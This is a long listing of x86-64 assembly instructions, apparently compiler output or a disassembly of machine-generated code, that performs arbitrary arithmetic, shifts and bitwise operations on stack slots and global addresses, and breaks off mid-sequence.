mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401130ac], ax
movzx eax, word [rsp + 0xc58]
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0x59c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6da0]
mov byte [rcx], al
lea rax, [rsp + 0x54]
mov qword [rsp + 0x7488], rax
mov rax, qword [rsp + 0x58f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6f50]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2f54]
sar eax, cl
mov dword [rsp + 0x2f74], eax
lea rax, [rsp + 0x2df0]
mov qword [rsp + 0x7490], rax
mov rax, qword [rsp + 0x6f68]
mov rcx, qword [rsp + 0x50f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x5ff8]
mov rax, qword [rax]
mov qword [rsp + 0x7498], rax
movsx eax, byte [rsp + 0xb8]
movsx ecx, byte [rsp + 0xf7]
xor eax, ecx
mov byte [rsp + 0x82], al
lea rax, [rsp + 0x8a0]
mov qword [0x1401146c0], rax
mov rax, qword [rsp + 0x7388]
movsx eax, word [rax]
mov rcx, qword [0x1401143a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc80], ax
movzx eax, byte [rsp + 0xed]
mov byte [rsp + 0x15b], al
movsx eax, word [rsp + 0xc10]
movsx ecx, word [rsp + 0xcb8]
add eax, ecx
mov rcx, qword [rsp + 0x6cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6568]
mov qword [rsp + 0x74a0], rax
mov eax, dword [rsp + 0x2b50]
mov ecx, dword [rsp + 0x2d98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x73f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c44], eax
mov rax, qword [rsp + 0x59f0]
mov qword [rsp + 0x74a8], rax
mov rax, qword [0x140114200]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6388]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0x6018]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5110]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113006], al
movzx eax, byte [0x140113072]
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov byte [rcx], al
lea rax, [rsp + 0xb50]
mov qword [rsp + 0x74b0], rax
mov rax, qword [rsp + 0x5c10]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x57f0], rax
mov rax, qword [rsp + 0x5190]
mov rcx, qword [rsp + 0x6c08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69c0]
mov eax, dword [rax]
mov dword [rsp + 0x2fc8], eax
mov rax, qword [rsp + 0x6e10]
mov ecx, dword [rsp + 0x2aec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e54], eax
mov rax, qword [rsp + 0x6cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x15d], al
movzx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0x6160]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011307f], al
movzx eax, word [rsp + 0xbb8]
movzx ecx, word [rsp + 0xaf0]
xor eax, ecx
mov rcx, qword [rsp + 0x5c98]
mov word [rcx], ax
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [rsp + 0xcb0]
sar eax, cl
mov rcx, qword [rsp + 0x58a8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc00]
mov word [rsp + 0xd3c], ax
mov rax, qword [rsp + 0x7030]
mov ecx, dword [rsp + 0x2ee8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2ce4], eax
lea rax, [rsp + 0x7390]
mov qword [rsp + 0x74b8], rax
mov rax, qword [rsp + 0x5d68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x61a0]
shl rax, cl
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5280]
mov ecx, dword [rsp + 0x2e88]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2dec], eax
lea rax, [rsp + 0x12d]
mov qword [rsp + 0x74c0], rax
mov rax, qword [rsp + 0x5dd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x88c]
sub eax, ecx
mov word [0x1401130d8], ax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0xe2]
add eax, ecx
mov byte [rsp + 0xc6], al
lea rax, [rsp + 0x928]
mov qword [rsp + 0x74c8], rax
mov rax, qword [rsp + 0x6088]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7108]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x900], ax
lea rax, [rsp + 0x910]
mov qword [rsp + 0x74d0], rax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x6390]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x67c0], rax
mov eax, dword [rsp + 0x2ba8]
mov ecx, dword [rsp + 0x2ed0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov qword [rsp + 0x74d8], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ea0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7468]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x9c]
mov byte [0x140114236], al
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x5720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x988]
sub eax, ecx
mov rcx, qword [rsp + 0x6140]
mov word [rcx], ax
movzx eax, byte [rsp + 0x145]
movzx ecx, byte [rsp + 0xb0]
add eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb24]
mov word [rsp + 0xd40], ax
mov rax, qword [rsp + 0x53a0]
mov rcx, qword [rsp + 0x7458]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x51a0]
mov dword [rcx], eax
lea rax, [rsp + 0x5030]
mov qword [rsp + 0x74e0], rax
mov rax, qword [rsp + 0x5108]
mov ecx, dword [rsp + 0x2e60]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5eb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x74b8]
mov qword [rsp + 0x74e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x74e8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5cf8], rax
mov rax, qword [rsp + 0x5ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x153]
shl eax, cl
mov rcx, qword [0x140114440]
mov byte [rcx], al
lea rax, [rsp + 0x844]
mov qword [rsp + 0x74f0], rax
mov rax, qword [rsp + 0x7028]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbe]
and eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
movzx eax, word [rsp + 0xc38]
mov word [rsp + 0xd44], ax
movzx eax, word [0x1401130b0]
movzx ecx, word [rsp + 0xbb0]
add eax, ecx
mov rcx, qword [rsp + 0x7338]
mov word [rcx], ax
mov eax, dword [rsp + 0x2d84]
mov ecx, dword [rsp + 0x2eb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c9c], eax
mov rax, qword [rsp + 0x5548]
mov rax, qword [rax]
mov qword [rsp + 0x74f8], rax
mov rax, qword [rsp + 0x5730]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7180]
mov eax, dword [rax]
mov dword [rsp + 0x2fcc], eax
mov rax, qword [rsp + 0x7460]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11f]
add eax, ecx
mov byte [0x140113082], al
mov rax, qword [rsp + 0x5688]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6088]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xaf8], ax
movzx eax, word [rsp + 0xac4]
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0x6fa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
add eax, ecx
mov byte [rsp + 0xc8], al
movzx eax, byte [0x14011305e]
movzx ecx, byte [rsp + 0xb1]
sub eax, ecx
mov rcx, qword [rsp + 0x6e80]
mov byte [rcx], al
mov rax, qword [rsp + 0x61d8]
mov rax, qword [rax]
mov qword [rsp + 0x7500], rax
mov rax, qword [rsp + 0x58a0]
mov rcx, qword [rsp + 0x4ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6cd0]
mov qword [rcx], rax
lea rax, [rsp + 0x2ee0]
mov qword [rsp + 0x7508], rax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x5428]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bec], eax
movsx eax, word [rsp + 0xa1c]
mov rcx, qword [rsp + 0x5160]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140113034], ax
movzx eax, word [rsp + 0xc54]
movzx ecx, word [rsp + 0xb90]
shl eax, cl
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
mov rax, qword [rsp + 0x6760]
movzx eax, byte [rax]
mov byte [rsp + 0x15f], al
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [0x1401143c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xdd], al
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0x7380]
mov rcx, qword [rsp + 0x68b0]
mov qword [rsp + 0x7510], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7510]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5c10]
mov qword [rcx], rax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x6db0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fd0], rax
mov eax, dword [rsp + 0x2bd8]
mov dword [rsp + 0x2fd0], eax
mov eax, dword [rsp + 0x2d60]
mov ecx, dword [rsp + 0x2f14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c14], eax
movzx eax, byte [0x140113072]
movzx ecx, byte [rsp + 0xb0]
sub eax, ecx
mov byte [0x140113083], al
mov rax, qword [rsp + 0x5160]
movzx eax, word [rax]
mov word [rsp + 0xd4c], ax
movzx eax, byte [rsp + 0x102]
movzx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x6ef8]
mov byte [rcx], al
mov rax, qword [0x140114330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b4]
add eax, ecx
mov word [rsp + 0xa50], ax
movzx eax, word [rsp + 0xb00]
mov word [rsp + 0xd50], ax
mov eax, dword [rsp + 0x2d34]
mov ecx, dword [rsp + 0x2f60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x7518], rax
mov rax, qword [rsp + 0x66f8]
mov rcx, qword [rsp + 0x5a50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6b10], rax
mov rax, qword [rsp + 0x6180]
mov eax, dword [rax]
mov dword [rsp + 0x2fd4], eax
mov rax, qword [rsp + 0x52a0]
movsx eax, byte [rax]
movsx ecx, byte [0x140113082]
add eax, ecx
mov rcx, qword [0x140114640]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6198]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x33], al
movsx eax, word [rsp + 0x990]
mov rcx, qword [0x140114518]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov word [rcx], ax
mov rax, qword [rsp + 0x5ad8]
movzx eax, word [rax]
mov word [rsp + 0xd54], ax
movsx eax, byte [rsp + 0x110]
movsx ecx, byte [rsp + 0xe7]
shl eax, cl
mov rcx, qword [rsp + 0x4f08]
mov byte [rcx], al
mov rax, qword [rsp + 0x6668]
mov rax, qword [rax]
mov qword [rsp + 0x7520], rax
mov rax, qword [rsp + 0x7178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5550]
mov rcx, qword [rsp + 0x5c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x61c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2bd0]
mov dword [rsp + 0x2fd8], eax
movzx eax, word [0x1401143e8]
movzx ecx, word [rsp + 0x8dc]
sar eax, cl
mov word [0x1401143c8], ax
movsx eax, word [rsp + 0xc50]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x96c], ax
movzx eax, byte [rsp + 0x3b]
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x5e40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0xad0]
mov rcx, qword [rsp + 0x53f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb10], ax
mov rax, qword [rsp + 0x5238]
mov qword [rsp + 0x7528], rax
mov rax, qword [rsp + 0x5d08]
mov rcx, qword [rsp + 0x5168]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2eb0], eax
mov rax, qword [rsp + 0x5250]
mov qword [rsp + 0x7530], rax
mov rax, qword [rsp + 0x5e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ccc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d14], eax
movzx eax, word [rsp + 0xa84]
mov word [rsp + 0xd58], ax
lea rax, [rsp + 0xd0c]
mov qword [0x1401146c8], rax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0xf3]
sub eax, ecx
mov rcx, qword [rsp + 0x6948]
mov byte [rcx], al
movsx eax, byte [0x14011302e]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
lea rax, [rsp + 0xf3]
mov qword [rsp + 0x7538], rax
mov rax, qword [rsp + 0x72b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6240]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53c0]
mov qword [rcx], rax
lea rax, [rsp + 0x2eec]
mov qword [rsp + 0x7540], rax
mov rax, qword [rsp + 0x5358]
mov ecx, dword [rsp + 0x2d08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2dbc], eax
mov rax, qword [rsp + 0x5548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6440], rax
mov rax, qword [0x1401141a8]
movzx eax, word [rax]
mov word [rsp + 0xd5c], ax
movzx eax, word [rsp + 0x864]
mov word [0x1401146d0], ax
mov rax, qword [rsp + 0x5b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7338]
mov word [rcx], ax
lea rax, [0x1401141bf]
mov qword [rsp + 0x7548], rax
movsx eax, word [rsp + 0xc4c]
movsx ecx, word [rsp + 0x9a0]
or eax, ecx
mov rcx, qword [rsp + 0x6c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x7128]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6d50]
shr rax, cl
mov rcx, qword [rsp + 0x5998]
mov qword [rcx], rax
lea rax, [0x140114160]
mov qword [rsp + 0x7550], rax
mov rax, qword [rsp + 0x70e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b78], eax
lea rax, [rsp + 0x2e18]
mov qword [rsp + 0x7558], rax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [0x140114225]
and eax, ecx
mov rcx, qword [rsp + 0x6518]
mov byte [rcx], al
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a0]
sub eax, ecx
mov rcx, qword [0x1401145b0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd5]
mov rcx, qword [rsp + 0x7028]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5b80]
mov byte [rcx], al
mov rax, qword [0x140114198]
movzx eax, word [rax]
mov word [rsp + 0xd60], ax
movsx eax, byte [rsp + 0xc1]
movsx ecx, byte [rsp + 0xa0]
add eax, ecx
mov byte [rsp + 0x137], al
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x7560], rax
mov eax, dword [rsp + 0x2fc4]
mov ecx, dword [rsp + 0x2b24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cd0], eax
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0x7568], rax
mov rax, qword [rsp + 0x7230]
mov rcx, qword [rsp + 0x63f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5910], rax
mov rax, qword [0x1401145a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5888]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e08]
mov word [rcx], ax
lea rax, [rsp + 0xbe]
mov qword [0x1401146d8], rax
movzx eax, word [rsp + 0x934]
mov word [rsp + 0xd64], ax
movzx eax, byte [rsp + 0x83]
movzx ecx, byte [rsp + 0xd0]
sub eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
lea rax, [rsp + 0x105]
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x6070]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5740]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x6380]
mov rcx, qword [rsp + 0x65c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x52f0], rax
mov eax, dword [rsp + 0x2f6c]
mov dword [rsp + 0x2fdc], eax
mov eax, dword [rsp + 0x2d5c]
mov ecx, dword [rsp + 0x2f74]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a40]
mov rax, qword [rax]
mov qword [rsp + 0x7578], rax
mov rax, qword [rsp + 0x67c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a4]
shl eax, cl
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd6]
sar eax, cl
mov byte [rsp + 0x101], al
movzx eax, word [0x1401130f0]
movzx ecx, word [rsp + 0xb00]
add eax, ecx
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x7580], rax
mov rax, qword [rsp + 0x5d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a88]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ce0]
mov qword [rsp + 0x7588], rax
mov rax, qword [rsp + 0x5d58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5830], rax
mov eax, dword [rsp + 0x2c04]
mov dword [rsp + 0x2fe0], eax
mov rax, qword [rsp + 0x6ea0]
mov ecx, dword [rsp + 0x2dac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2fbc], eax
lea rax, [rsp + 0x888]
mov qword [0x1401146e0], rax
mov rax, qword [rsp + 0x5cd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7580]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5ea8]
mov byte [rcx], al
lea rax, [rsp + 0xa10]
mov qword [rsp + 0x7590], rax
mov rax, qword [rsp + 0x6b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ee8]
movzx eax, word [rax]
mov word [rsp + 0xd68], ax
mov rax, qword [rsp + 0x6fb0]
mov ecx, dword [rsp + 0x2e40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d90], eax
mov rax, qword [rsp + 0x54d0]
mov rcx, qword [rsp + 0x6ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x60c8]
mov qword [rcx], rax
lea rax, [rsp + 0x29bc]
mov qword [rsp + 0x7598], rax
mov rax, qword [rsp + 0x65c8]
mov rcx, qword [rsp + 0x57c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6288], rax
movzx eax, word [rsp + 0x954]
movzx ecx, word [rsp + 0xb98]
add eax, ecx
mov rcx, qword [0x1401145f0]
mov word [rcx], ax
movzx eax, word [rsp + 0xd44]
mov word [rsp + 0xd6c], ax
mov rax, qword [rsp + 0x6780]
movsx eax, word [rax]
mov rcx, qword [0x140114448]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x94]
mov rcx, qword [rsp + 0x63c8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xca], al
movzx eax, byte [rsp + 0x100]
mov byte [rsp + 0x162], al
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c04]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bbc], eax
mov rax, qword [rsp + 0x6788]
mov qword [rsp + 0x75a0], rax
mov eax, dword [rsp + 0x2b90]
movzx ecx, al
mov eax, dword [rsp + 0x2d74]
shr eax, cl
mov dword [rsp + 0x2e0c], eax
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x5c68]
mov qword [rsp + 0x5320], rax
lea rax, [rsp + 0xcb4]
mov qword [0x1401146e8], rax
lea rax, [rsp + 0xcf8]
mov qword [rsp + 0x75a8], rax
mov rax, qword [rsp + 0x59d0]
movzx eax, byte [rax]
movzx ecx, byte [0x14011306b]
or eax, ecx
mov byte [rsp + 0xa8], al
lea rax, [rsp + 0xf5]
mov qword [rsp + 0x75b0], rax
mov rax, qword [rsp + 0x6b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7288]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd1], al
mov eax, dword [rsp + 0x2f2c]
mov dword [rsp + 0x2fe4], eax
mov rax, qword [rsp + 0x6390]
mov rcx, qword [rsp + 0x6d58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7468]
mov rcx, qword [rsp + 0x6868]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6bc8]
mov qword [rsp + 0x75b8], rax
movzx eax, word [0x1401130d4]
movzx ecx, word [rsp + 0xaf8]
and eax, ecx
mov word [0x1401143e8], ax
movzx eax, byte [rsp + 0xa5]
movzx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [rsp + 0x54], al
lea rax, [0x140113060]
mov qword [rsp + 0x75c0], rax
movzx eax, word [rsp + 0xb48]
movzx ecx, word [rsp + 0x8ac]
sub eax, ecx
mov word [rsp + 0x908], ax
movzx eax, byte [rsp + 0x125]
movzx ecx, byte [rsp + 0x4e]
add eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60b8]
mov eax, dword [rax]
mov dword [rsp + 0x2fe8], eax
mov rax, qword [rsp + 0x65b0]
mov ecx, dword [rsp + 0x2c44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2dd8], eax
lea rax, [rsp + 0x58b0]
mov qword [rsp + 0x75c8], rax
mov rax, qword [rsp + 0x5b40]
mov rcx, qword [rsp + 0x5260]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5218], rax
mov rax, qword [rsp + 0x6e70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba8]
xor eax, ecx
mov word [0x140113108], ax
movzx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x5b48]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xca0], ax
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x75d0], rax
movsx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x53d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0x5c30]
movzx eax, byte [rax]
mov byte [rsp + 0x163], al
mov rax, qword [rsp + 0x5a38]
mov rcx, qword [rsp + 0x7390]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7578], rax
mov rax, qword [rsp + 0x53d8]
mov rcx, qword [rsp + 0x73f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c00], eax
mov rax, qword [rsp + 0x63b8]
mov eax, dword [rax]
mov dword [rsp + 0x2fec], eax
mov rax, qword [rsp + 0x6ea8]
imul rax, qword [rsp + 0x5310]
mov qword [rsp + 0x58c0], rax
movsx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x5da8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114660]
mov word [rcx], ax
lea rax, [rsp + 0xd6]
mov qword [rsp + 0x75d8], rax
movzx eax, byte [rsp + 0xbd]
movzx ecx, byte [rsp + 0x103]
add eax, ecx
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x69a0]
movzx eax, byte [rax]
mov byte [rsp + 0x164], al
mov rax, qword [rsp + 0x6fc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6358]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x6a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x64b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5290]
mov qword [rsp + 0x75e0], rax
mov rax, qword [rsp + 0x6830]
imul rax, qword [rsp + 0x5960]
mov qword [rsp + 0x7168], rax
lea rax, [rsp + 0x2b20]
mov qword [rsp + 0x75e8], rax
mov rax, qword [rsp + 0x6120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5810]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa7c], ax
mov rax, qword [rsp + 0x61e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113086], al
movzx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5700]
mov byte [rcx], al
lea rax, [rsp + 0x8c8]
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x66d0]
movsx eax, byte [rax]
mov rcx, qword [0x140114440]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf7], al
lea rax, [rsp + 0x65b8]
mov qword [rsp + 0x75f8], rax
mov rax, qword [rsp + 0x56a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d18], rax
mov rax, qword [rsp + 0x6d18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5a48]
mov qword [rsp + 0x7600], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5d90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2dc0]
mov dword [rsp + 0x2ff0], eax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5598]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb18], ax
movzx eax, byte [0x140114232]
mov rcx, qword [rsp + 0x5e40]
